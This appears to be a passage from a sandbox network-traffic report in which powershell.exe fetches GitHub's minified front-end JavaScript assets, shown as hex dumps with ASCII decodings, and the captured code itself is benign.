2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 65 72 73 2e 41 63 63 65 70 74 5d 2e 6a 6f 69 6e 28 22 2c 20 22 29 7d 61 73 79 6e 63 20 61 6c 6c 6f 77 52 65 71 75 65 73 74 54 6f 42 65 49 6e 74 65 72 63 65 70 74 65 64 28 65 29 7b 6c 65 74 20 74 3d 6e 65 77 20 50 72 6f 6d 69 73 65 28 65 3d 3e 74 68 69 73 2e 72 65 73 6f 6c 76 65 52 65 71 75 65 73 74 50 72 6f 6d 69 73 65 3d 65 29 3b 70 28 22 74 75 72 62 6f 3a 62 65 66 6f 72 65 2d 66 65 74 63 68 2d 72 65 71 75 65 73 74 22 2c 7b 63 61 6e 63 65 6c 61 62 6c 65 3a 21 30 2c 64 65 74 61 69 6c 3a 7b 66 65 74 63 68 4f 70 74 69 6f 6e 73 3a 65 2c 75 72 6c 3a 74 68 69 73 2e 75 72 6c 2c 72 65 73 75 6d 65 3a 74 68 69 73 2e 72 65 73 6f 6c 76 65 52 65 71 75 65 73 74 50 72 6f 6d 69 73 65 7d 2c 74 61 72 67 65 74 3a 74 68 69 73 2e 74 61 72 67 65 74 7d 29 2e 64 65 66 61 75 6c Data Ascii: ers.Accept].join(", ")}async allowRequestToBeIntercepted(e){let t=new Promise(e=>this.resolveRequestPromise=e);p("turbo:before-fetch-request",{cancelable:!0,detail:{fetchOptions:e,url:this.url,resume:this.resolveRequestPromise},target:this.target}).defaul
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 74 65 6e 74 54 79 70 65 3d 22 74 65 78 74 2f 76 6e 64 2e 74 75 72 62 6f 2d 73 74 72 65 61 6d 2e 68 74 6d 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 5b 65 2e 69 6e 69 74 69 61 6c 69 7a 65 64 3d 30 5d 3d 22 69 6e 69 74 69 61 6c 69 7a 65 64 22 2c 65 5b 65 2e 72 65 71 75 65 73 74 69 6e 67 3d 31 5d 3d 22 72 65 71 75 65 73 74 69 6e 67 22 2c 65 5b 65 2e 77 61 69 74 69 6e 67 3d 32 5d 3d 22 77 61 69 74 69 6e 67 22 2c 65 5b 65 2e 72 65 63 65 69 76 69 6e 67 3d 33 5d 3d 22 72 65 63 65 69 76 69 6e 67 22 2c 65 5b 65 2e 73 74 6f 70 70 69 6e 67 3d 34 5d 3d 22 73 74 6f 70 70 69 6e 67 22 2c 65 5b 65 2e 73 74 6f 70 70 65 64 3d 35 5d 3d 22 73 74 6f 70 70 65 64 22 7d 28 5f 7c 7c 28 5f 3d 7b 7d 29 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 75 72 6c 45 6e 63 6f 64 65 Data Ascii: tentType="text/vnd.turbo-stream.html",function(e){e[e.initialized=0]="initialized",e[e.requesting=1]="requesting",e[e.waiting=2]="waiting",e[e.receiving=3]="receiving",e[e.stopping=4]="stopping",e[e.stopped=5]="stopped"}(_\|\|(_={})),function(e){e.urlEncode
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 2e 67 65 74 7d 67 65 74 20 61 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 6c 65 74 20 74 3d 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 2e 61 63 74 69 6f 6e 3f 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 2e 61 63 74 69 6f 6e 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 28 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 68 69 73 2e 73 75 62 6d 69 74 74 65 72 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 66 6f 72 6d 61 63 74 69 6f 6e 22 29 29 3f 74 68 69 73 2e 73 75 62 6d 69 74 74 65 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 66 6f 72 6d 61 63 74 69 6f 6e 22 29 7c 7c 22 22 3a 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 2e 67 65 74 41 74 74 72 69 62 75 Data Ascii: .get}get action(){var e;let t="string"==typeof this.formElement.action?this.formElement.action:null;return(null===(e=this.submitter)\|\|void 0===e?void 0:e.hasAttribute("formaction"))?this.submitter.getAttribute("formaction")\|\|"":this.formElement.getAttribu
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 6c 69 74 28 22 3d 22 29 2e 73 6c 69 63 65 28 31 29 2e 6a 6f 69 6e 28 22 3d 22 29 3b 72 65 74 75 72 6e 20 65 3f 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 29 3a 76 6f 69 64 20 30 7d 7d 7d 28 4c 28 22 63 73 72 66 2d 70 61 72 61 6d 22 29 29 7c 7c 4c 28 22 63 73 72 66 2d 74 6f 6b 65 6e 22 29 3b 74 26 26 28 65 5b 22 58 2d 43 53 52 46 2d 54 6f 6b 65 6e 22 5d 3d 74 29 7d 74 68 69 73 2e 72 65 71 75 65 73 74 41 63 63 65 70 74 73 54 75 72 62 6f 53 74 72 65 61 6d 52 65 73 70 6f 6e 73 65 28 74 29 26 26 74 2e 61 63 63 65 70 74 52 65 73 70 6f 6e 73 65 54 79 70 65 28 53 74 72 65 61 6d 4d 65 73 73 61 67 65 2e 63 6f 6e 74 65 6e 74 54 79 70 65 29 7d 72 65 71 75 65 73 74 53 74 61 72 74 65 64 28 65 29 7b 76 61 72 20 74 3b 74 68 69 73 2e 73 74 61 74 65 3d 5f Data Ascii: lit("=").slice(1).join("=");return e?decodeURIComponent(e):void 0}}}(L("csrf-param"))\|\|L("csrf-token");t&&(e["X-CSRF-Token"]=t)}this.requestAcceptsTurboStreamResponse(t)&&t.acceptResponseType(StreamMessage.contentType)}requestStarted(e){var t;this.state=_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49752	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:25 UTC	450	OUT	GET /assets/vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_stacktrace-pa-a71630-67856ad29bae.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:25 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 12699 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 07:22:44 GMT ETag: "0x8DCDD32D992EAF2" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 30 Sep 2024 13:50:25 GMT Age: 453096 X-Served-By: cache-iad-kjyo7100109-IAD, cache-nyc-kteb1890051-NYC X-Cache: HIT, HIT X-Cache-Hits: 93, 34 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 22b06627e38fac1292d3a19cf2587e283e1c3b91
2024-09-30 13:50:25 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 63 72 6f 6c 6c 2d 61 6e 63 68 6f 72 69 6e 67 5f 64 69 73 74 5f 73 63 72 6f 6c 6c 2d 61 6e 63 68 6f 72 69 6e 67 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 74 61 63 6b 74 72 61 63 65 2d 70 61 2d 61 37 31 36 33 30 22 5d 2c 7b 39 35 34 39 33 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 69 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 21 3d 3d 65 2e Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_modules_stacktrace-pa-a71630"],{95493:(e,t,n)=>{function r(e,t){return i(function(e){if(e.activeElement!==e.
2024-09-30 13:50:25 UTC	1378	IN	Data Raw: 3d 3d 3d 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 7c 7c 65 3d 3d 3d 72 2e 62 6f 64 79 3f 72 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 73 63 72 6f 6c 6c 54 6f 28 75 2c 61 29 3a 28 65 2e 73 63 72 6f 6c 6c 54 6f 70 3d 61 2c 65 2e 73 63 72 6f 6c 6c 4c 65 66 74 3d 75 29 3b 76 61 72 20 63 3d 6f 28 65 29 3b 72 65 74 75 72 6e 5b 63 2e 6c 65 66 74 2d 6c 2e 6c 65 66 74 2c 63 2e 74 6f 70 2d 6c 2e 74 6f 70 5d 7d 28 61 2c 74 2d 75 2c 6e 2d 63 29 3b 69 66 28 75 2b 3d 73 5b 30 5d 2c 63 2b 3d 73 5b 31 5d 2c 75 3d 3d 3d 74 26 26 63 3d 3d 3d 6e 29 62 72 65 61 6b 3b 61 3d 6c 28 61 29 7d 7d 28 6e 2c 63 2d 6c 2c 75 2d 6f 29 7d 72 65 74 75 72 6e 20 65 7d 29 7d 6e 2e 64 28 74 2c 7b 4a 52 3a 28 29 3d 3e 72 2c 5f 48 3a 28 29 3d 3e 69 7d 29 7d 2c 32 34 32 31 32 3a 28 65 2c Data Ascii: ===r.documentElement\|\|e===r.body?r.defaultView.scrollTo(u,a):(e.scrollTop=a,e.scrollLeft=u);var c=o(e);return[c.left-l.left,c.top-l.top]}(a,t-u,n-c);if(u+=s[0],c+=s[1],u===t&&c===n)break;a=l(a)}}(n,c-l,u-o)}return e})}n.d(t,{JR:()=>r,_H:()=>i})},24212:(e,
2024-09-30 13:50:25 UTC	1378	IN	Data Raw: 7a 5d 3a 5c 5c 7c 5c 5c 5c 5c 29 2e 2a 3f 29 28 3f 3a 3a 28 5c 64 2b 29 29 3f 28 3f 3a 3a 28 5c 64 2b 29 29 3f 5c 29 3f 5c 73 2a 24 2f 69 2c 6c 3d 2f 5c 28 28 5c 53 2a 29 28 3f 3a 3a 28 5c 64 2b 29 29 28 3f 3a 3a 28 5c 64 2b 29 29 5c 29 2f 2c 61 3d 2f 5e 5c 73 2a 61 74 20 28 3f 3a 28 28 3f 3a 5c 5b 6f 62 6a 65 63 74 20 6f 62 6a 65 63 74 5c 5d 29 3f 2e 2b 29 20 29 3f 5c 28 3f 28 28 3f 3a 66 69 6c 65 7c 6d 73 2d 61 70 70 78 7c 68 74 74 70 73 3f 7c 77 65 62 70 61 63 6b 7c 62 6c 6f 62 29 3a 2e 2a 3f 29 3a 28 5c 64 2b 29 28 3f 3a 3a 28 5c 64 2b 29 29 3f 5c 29 3f 5c 73 2a 24 2f 69 2c 75 3d 2f 5e 5c 73 2a 28 2e 2a 3f 29 28 3f 3a 5c 28 28 2e 2a 3f 29 5c 29 29 3f 28 3f 3a 5e 7c 40 29 28 28 3f 3a 66 69 6c 65 7c 68 74 74 70 73 3f 7c 62 6c 6f 62 7c 63 68 72 6f 6d 65 Data Ascii: z]:\\\|\\\\).?)(?::(\d+))?(?::(\d+))?\)?\s$/i,l=/$(\S)(?::(\d+))(?::(\d+))$/,a=/^\sat (?:((?:\[object object\])?.+) )?$?((?:file\|ms-appx\|https?\|webpack\|blob):.?):(\d+)(?::(\d+))?$?\s$/i,u=/^\s(.?)(?:$(.*?)$)?(?:^\|@)((?:file\|https?\|blob\|chrome
2024-09-30 13:50:25 UTC	1378	IN	Data Raw: 53 75 70 70 6f 72 74 65 64 3a 28 29 3d 3e 44 2c 72 65 71 75 65 73 74 49 64 6c 65 43 61 6c 6c 62 61 63 6b 3a 28 29 3d 3e 41 7d 29 3b 6c 65 74 20 66 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 70 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 6c 65 74 20 63 6c 69 70 62 6f 61 72 64 69 74 65 6d 5f 43 6c 69 70 62 6f 61 72 64 49 74 65 6d 3d 63 6c 61 73 73 20 63 6c 69 70 62 6f 61 72 64 69 74 65 6d 5f 43 6c 69 70 62 6f 61 72 64 49 74 65 6d 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 2c 74 3d 7b 7d 29 7b 69 66 28 30 3d 3d 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 2e 6c 65 6e 67 74 68 29 74 68 72 6f 77 20 54 79 70 65 45 72 72 6f 72 28 22 45 6d 70 74 79 20 64 69 63 74 69 6f 6e 61 72 79 20 61 72 67 75 6d 65 6e 74 22 29 3b 66 2e 73 65 74 28 74 68 69 73 2c 65 29 2c 70 2e 73 65 74 Data Ascii: Supported:()=>D,requestIdleCallback:()=>A});let f=new WeakMap,p=new WeakMap;let clipboarditem_ClipboardItem=class clipboarditem_ClipboardItem{constructor(e,t={}){if(0===Object.keys(e).length)throw TypeError("Empty dictionary argument");f.set(this,e),p.set
2024-09-30 13:50:25 UTC	1378	IN	Data Raw: 63 65 6f 66 20 53 68 61 64 6f 77 52 6f 6f 74 3f 72 3d 72 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 28 29 2e 68 6f 73 74 3a 72 3d 72 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 7d 72 65 74 75 72 6e 21 30 7d 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 72 65 74 75 72 6e 22 63 68 65 63 6b 56 69 73 69 62 69 6c 69 74 79 22 69 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 68 65 63 6b 56 69 73 69 62 69 6c 69 74 79 7d 66 75 6e 63 74 69 6f 6e 20 76 28 29 7b 72 65 74 75 72 6e 20 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 2e 63 68 65 63 6b 56 69 73 69 62 69 6c 69 74 79 3d 3d 3d 79 7d 66 75 6e 63 74 69 6f 6e 20 45 28 29 7b 68 28 29 7c 7c 28 45 Data Ascii: ceof ShadowRoot?r=r.getRootNode().host:r=r.parentElement}return!0}function h(){return"checkVisibility"in Element.prototype&&"function"==typeof Element.prototype.checkVisibility}function v(){return Element.prototype.checkVisibility===y}function E(){h()\|\|(E
2024-09-30 13:50:25 UTC	1378	IN	Data Raw: 6b 3d 41 2c 67 6c 6f 62 61 6c 54 68 69 73 2e 63 61 6e 63 65 6c 49 64 6c 65 43 61 6c 6c 62 61 63 6b 3d 78 29 7d 6c 65 74 20 71 3d 21 31 3b 74 72 79 7b 71 3d 21 31 3d 3d 3d 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6d 61 74 63 68 65 73 28 22 3a 6d 6f 64 61 6c 22 29 7d 63 61 74 63 68 7b 71 3d 21 31 7d 6c 65 74 20 4f 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 22 66 72 6f 6d 45 6e 74 72 69 65 73 22 69 6e 20 4f 62 6a 65 63 74 26 26 22 66 6c 61 74 4d 61 70 22 69 6e 20 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 26 26 22 74 72 69 6d 45 6e 64 22 69 6e 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 26 26 22 61 6c 6c 53 65 74 74 6c 65 64 22 69 6e 20 50 72 6f 6d 69 73 65 26 26 22 6d 61 74 63 68 41 6c 6c 22 69 6e 20 Data Ascii: k=A,globalThis.cancelIdleCallback=x)}let q=!1;try{q=!1===document.body.matches(":modal")}catch{q=!1}let O="object"==typeof globalThis&&"fromEntries"in Object&&"flatMap"in Array.prototype&&"trimEnd"in String.prototype&&"allSettled"in Promise&&"matchAll"in
2024-09-30 13:50:25 UTC	1378	IN	Data Raw: 75 6c 74 28 29 3b 6c 65 74 20 6e 3d 41 72 72 61 79 2e 66 72 6f 6d 28 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2a 22 29 29 2e 66 69 6c 74 65 72 28 61 29 3b 69 66 28 30 3d 3d 3d 6e 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 3b 6c 65 74 20 72 3d 65 2e 73 68 69 66 74 4b 65 79 3f 2d 31 3a 31 2c 69 3d 74 2e 67 65 74 52 6f 6f 74 4e 6f 64 65 28 29 2c 6f 3d 74 2e 63 6f 6e 74 61 69 6e 73 28 69 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 3f 69 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3a 6e 75 6c 6c 2c 6c 3d 2d 31 3d 3d 3d 72 3f 2d 31 3a 30 3b 69 66 28 6f 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 29 7b 6c 65 74 20 65 3d 6e 2e 69 6e 64 65 78 4f 66 28 6f 29 3b 2d 31 21 3d 3d 65 26 26 28 6c 3d 65 2b 72 29 7d 6c 3c 30 3f 6c Data Ascii: ult();let n=Array.from(t.querySelectorAll("*")).filter(a);if(0===n.length)return;let r=e.shiftKey?-1:1,i=t.getRootNode(),o=t.contains(i.activeElement)?i.activeElement:null,l=-1===r?-1:0;if(o instanceof HTMLElement){let e=n.indexOf(o);-1!==e&&(l=e+r)}l<0?l
2024-09-30 13:50:25 UTC	1378	IN	Data Raw: 6c 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 29 7b 74 21 3d 3d 65 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 29 26 26 28 74 3f 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 2c 22 22 29 3a 75 28 65 29 26 26 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 6f 70 65 6e 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 6c 65 74 20 74 3d 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 69 66 28 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 29 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 64 65 74 61 69 6c 73 2d 64 69 61 6c 6f 67 22 29 3b 69 66 28 21 28 6e 20 69 6e 73 74 61 6e 63 65 6f 66 20 44 65 74 61 69 6c 73 44 69 61 6c 6f 67 45 6c 65 Data Ascii: l)}}}function d(e,t){t!==e.hasAttribute("open")&&(t?e.setAttribute("open",""):u(e)&&e.removeAttribute("open"))}function f(e){let t=e.currentTarget;if(!(t instanceof Element))return;let n=t.querySelector("details-dialog");if(!(n instanceof DetailsDialogEle
2024-09-30 13:50:25 UTC	1378	IN	Data Raw: 45 6c 65 6d 65 6e 74 3b 69 66 28 21 74 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 73 75 6d 6d 61 72 79 22 29 3b 6e 26 26 28 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 29 7c 7c 6e 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 6f 6c 65 22 2c 22 62 75 74 74 6f 6e 22 29 2c 6e 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 63 2c 7b 63 61 70 74 75 72 65 3a 21 30 7d 29 29 2c 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 74 6f 67 67 6c 65 22 2c 73 29 2c 65 2e 64 65 74 61 69 6c 73 3d 74 2c 70 28 74 2c 74 68 69 73 2e 73 72 63 2c 74 68 69 73 2e 70 72 65 6c 6f 61 64 29 7d 64 69 73 63 6f 6e 6e 65 63 74 65 64 43 61 6c 6c 62 61 63 6b 28 29 7b 6c 65 74 20 Data Ascii: Element;if(!t)return;let n=t.querySelector("summary");n&&(n.hasAttribute("role")\|\|n.setAttribute("role","button"),n.addEventListener("click",c,{capture:!0})),t.addEventListener("toggle",s),e.details=t,p(t,this.src,this.preload)}disconnectedCallback(){let
2024-09-30 13:50:25 UTC	297	IN	Data Raw: 69 74 68 75 62 2e 63 6f 6d 22 29 2c 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 60 5f 6f 63 74 6f 3d 24 7b 74 7d 3b 20 65 78 70 69 72 65 73 3d 24 7b 6e 7d 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 24 7b 72 7d 3b 20 73 65 63 75 72 65 3b 20 73 61 6d 65 73 69 74 65 3d 6c 61 78 60 7d 28 74 29 2c 74 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 72 7c 7c 28 72 3d 69 28 29 29 2c 72 7d 7d 6e 2e 64 28 74 2c 7b 79 3a 28 29 3d 3e 6f 7d 29 7d 7d 5d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 73 63 72 6f 6c 6c 2d 61 6e 63 68 6f 72 69 6e 67 5f 64 69 73 74 5f 73 63 72 6f 6c 6c 2d 61 6e 63 68 6f 72 69 6e 67 5f 65 73 6d 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 Data Ascii: ithub.com"),document.cookie=`_octo=${t}; expires=${n}; path=/; domain=${r}; secure; samesite=lax`}(t),t}catch(e){return r\|\|(r=i()),r}}n.d(t,{y:()=>o})}}]);//# sourceMappingURL=vendors-node_modules_scroll-anchoring_dist_scroll-anchoring_esm_js-node_module

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49753	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:26 UTC	393	OUT	GET /assets/vendors-node_modules_color-convert_index_js-0e07cc183eed.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:26 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 13280 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Tue, 23 Jul 2024 20:26:52 GMT ETag: 0x8DCAB55C9E02677 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3013165 Date: Mon, 30 Sep 2024 13:50:26 GMT X-Served-By: cache-iad-kjyo7100169-IAD, cache-ewr-kewr1740028-EWR X-Cache: HIT, HIT X-Cache-Hits: 138, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: c6de71ad993ad6bbb7643c7b0d5674372a2ff0ac
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 63 6f 6c 6f 72 2d 63 6f 6e 76 65 72 74 5f 69 6e 64 65 78 5f 6a 73 22 5d 2c 7b 31 35 36 35 39 3a 28 65 2c 6e 2c 74 29 3d 3e 7b 6c 65 74 20 72 3d 74 28 35 31 30 33 31 29 2c 6c 3d 7b 7d 3b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 72 29 29 6c 5b 72 5b 65 5d 5d 3d 65 3b 6c 65 74 20 61 3d 7b 72 67 62 3a 7b 63 68 61 6e 6e 65 6c 73 3a 33 2c 6c 61 62 65 6c 73 3a 22 72 67 62 22 7d 2c 68 73 6c 3a 7b 63 68 61 6e 6e 65 6c 73 3a 33 2c 6c 61 62 65 6c 73 3a 22 68 73 6c 22 7d 2c 68 73 76 3a 7b Data Ascii: (globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_color-convert_index_js"],{15659:(e,n,t)=>{let r=t(51031),l={};for(let e of Object.keys(r))l[r[e]]=e;let a={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 3d 3d 3d 61 3f 30 3a 75 3c 3d 2e 35 3f 69 2f 28 6f 2b 61 29 3a 69 2f 28 32 2d 6f 2d 61 29 29 2c 31 30 30 2a 75 5d 7d 2c 61 2e 72 67 62 2e 68 73 76 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 6e 2c 74 2c 72 2c 6c 2c 61 3b 6c 65 74 20 6f 3d 65 5b 30 5d 2f 32 35 35 2c 69 3d 65 5b 31 5d 2f 32 35 35 2c 75 3d 65 5b 32 5d 2f 32 35 35 2c 73 3d 4d 61 74 68 2e 6d 61 78 28 6f 2c 69 2c 75 29 2c 68 3d 73 2d 4d 61 74 68 2e 6d 69 6e 28 6f 2c 69 2c 75 29 2c 63 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 28 73 2d 65 29 2f 36 2f 68 2b 2e 35 7d 3b 72 65 74 75 72 6e 20 30 3d 3d 3d 68 3f 28 6c 3d 30 2c 61 3d 30 29 3a 28 61 3d 68 2f 73 2c 6e 3d 63 28 6f 29 2c 74 3d 63 28 69 29 2c 72 3d 63 28 75 29 2c 6f 3d 3d 3d 73 3f 6c 3d 72 2d 74 3a 69 3d 3d 3d 73 3f 6c Data Ascii: ===a?0:u<=.5?i/(o+a):i/(2-o-a)),100*u]},a.rgb.hsv=function(e){let n,t,r,l,a;let o=e[0]/255,i=e[1]/255,u=e[2]/255,s=Math.max(o,i,u),h=s-Math.min(o,i,u),c=function(e){return(s-e)/6/h+.5};return 0===h?(l=0,a=0):(a=h/s,n=c(o),t=c(i),r=c(u),o===s?l=r-t:i===s?l
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 7d 2c 61 2e 68 73 6c 2e 72 67 62 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 6e 2c 74 2c 72 3b 6c 65 74 20 6c 3d 65 5b 30 5d 2f 33 36 30 2c 61 3d 65 5b 31 5d 2f 31 30 30 2c 6f 3d 65 5b 32 5d 2f 31 30 30 3b 69 66 28 30 3d 3d 3d 61 29 72 65 74 75 72 6e 5b 72 3d 32 35 35 2a 6f 2c 72 2c 72 5d 3b 6e 3d 6f 3c 2e 35 3f 6f 2a 28 31 2b 61 29 3a 6f 2b 61 2d 6f 2a 61 3b 6c 65 74 20 69 3d 32 2a 6f 2d 6e 2c 75 3d 5b 30 2c 30 2c 30 5d 3b 66 6f 72 28 6c 65 74 20 65 3d 30 3b 65 3c 33 3b 65 2b 2b 29 28 74 3d 6c 2b 2d 28 31 2f 33 2a 28 65 2d 31 29 29 29 3c 30 26 26 74 2b 2b 2c 74 3e 31 26 26 74 2d 2d 2c 72 3d 36 2a 74 3c 31 3f 69 2b 28 6e 2d 69 29 2a 36 2a 74 3a 32 2a 74 3c 31 3f 6e 3a 33 2a 74 3c 32 3f 69 2b 28 6e 2d 69 29 2a 28 32 2f 33 2d 74 29 2a 36 3a 69 2c 75 Data Ascii: },a.hsl.rgb=function(e){let n,t,r;let l=e[0]/360,a=e[1]/100,o=e[2]/100;if(0===a)return[r=255o,r,r];n=o<.5?o(1+a):o+a-oa;let i=2o-n,u=[0,0,0];for(let e=0;e<3;e++)(t=l+-(1/3(e-1)))<0&&t++,t>1&&t--,r=6t<1?i+(n-i)6t:2t<1?n:3t<2?i+(n-i)(2/3-t)6:i,u
